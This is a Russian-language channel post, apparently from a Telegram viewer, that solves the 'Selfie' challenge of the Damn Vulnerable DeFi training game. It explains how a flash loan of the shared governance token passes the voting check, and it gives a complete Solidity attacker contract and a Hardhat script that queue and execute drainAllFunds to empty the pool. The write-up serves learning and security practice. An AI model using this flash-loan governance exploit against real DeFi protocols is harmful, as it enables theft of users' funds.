TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #445 168
Damn Vulnerable Defi. Задача 6. Selfie

Есть пул, который предлагает заqмы в токенах и имеет свой governance. Цель задачи захватить все токены из пула.

В чем суть?

Задача научила меня смотреть не только сами контракты, но и js файл, или точнее сказать условия их деплоя. Тогда вся картина сложилась. А именно то, что оба этих контракта используют один и тот же токен: и для займа, и для голосования. Более того, нет никакой проверки, откуда у адресата токены.

Картина взлома такая: мы берем займ по известной ранее схеме, создаем голосование и потом выводим все токены. Но тут есть пара моментов.

Когда мы создаем новое предложение в governance, используя функцию queueAction(), то создаем новую структуру GovernanceAction, одним из параметров которой является bytes data. Его можно использовать для передачи функции на вывод всех токенов из пула.

Также, чтобы создать предложение, нам нужно пройти проверку _hasEnoughVotes() на количество токенов, которое должно превышать половину всех выпущенных токенов. По условию выпущено 2млн токенов, и нам нужно владеть хотя бы 1 млн токенов + 1.

Если посмотреть, то проверка описается на метод getBalanceAtLastSnapshot(), который в свою очередь берет значения из фукнции snapshot(). Это можно увидеть, открыв файл DamnValuableTokenSnapshot.sol.

Поэтому, перед тем как создавать свое предложение, нам нужно пройти проверку и для этого вызвать функцию snapshot().

Код контракта может выглядеть так:

contract Attacker6 {

    ERC20Snapshot public token;
    SelfiePool private immutable pool;
    SimpleGovernance private immutable governance;
    address payable attacker;
    uint256 public actionId;

    constructor (address tokenAddress, address poolAddress, address governanceAddress, address attackerAddress) {
        token = ERC20Snapshot(tokenAddress);
        pool = SelfiePool(poolAddress);
        governance = SimpleGovernance(governanceAddress);
        attacker = payable(attackerAddress);
    }

  function attack(uint256 amount) external {
     pool.flashLoan(amount);
  }

  function receiveTokens(address tokenAddress, uint256 amount) external {
      DamnValuableTokenSnapshot governanceToken = DamnValuableTokenSnapshot(tokenAddress);
      governanceToken.snapshot();
      actionId = governance.queueAction(address(pool), abi.encodeWithSignature(
            "drainAllFunds(address)",
            attacker
            ), 0);
        token.transfer(msg.sender, amount);
    }

  receive() external payable {}
}

И решение:

const SelfieAttackerFactory = await ethers.getContractFactory('Attacker6', deployer);
const attackerContract = await SelfieAttackerFactory.deploy(this.token.address, this.pool.address, this.governance.address, attacker.address);
await attackerContract.connect(attacker).attack(TOKENS_IN_POOL);
const actionId = ethers.BigNumber.from(await attackerContract.connect(attacker).actionId());
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.governance.connect(attacker).executeAction(actionId);

Проверка через команду yarn run selfie.

#dvd #DamnVulnerableDefi
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →